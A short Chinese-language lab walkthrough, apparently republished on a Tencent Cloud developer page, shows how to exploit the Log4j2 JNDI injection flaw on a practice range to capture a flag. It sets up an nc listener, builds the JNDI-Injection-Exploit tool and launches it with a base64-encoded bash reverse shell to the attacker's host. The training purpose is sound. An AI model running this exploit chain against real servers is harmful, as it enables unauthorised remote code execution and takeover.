由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
登录靶场
选择我们的镜像系统,点击启动。
在kali中监听7777
端口
nc -lvvp 7777
下载漏洞利用框架
代码语言:javascript复制git clone https://github.com/welk1n/JNDI-Injection-Exploit
安装maven
代码语言:javascript复制apt-get install maven
maven可以将java项目打包为jar文件。
代码语言:javascript复制cd JNDI-Injection-Exploit
mvn clean package -DskipTests#编译项目
打包完成后,会在/target/
目录生成JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
文件。
攻击命令如下
代码语言:javascript复制java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.137.137
参数说明:
这个安装在kali上面的jndi服务器是利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来启动起来的,启动参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指服务器的IP。
需要注意的是,我们要对shell进行base64编码。(靶场在公网,本地的kali需要内网映射哦!)
如下,我们成功得到了flag
提交后,可解锁所有关卡。
版权属于:逍遥子大表哥
本文链接:https://cloud.tencent.com/developer/article/2134264
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。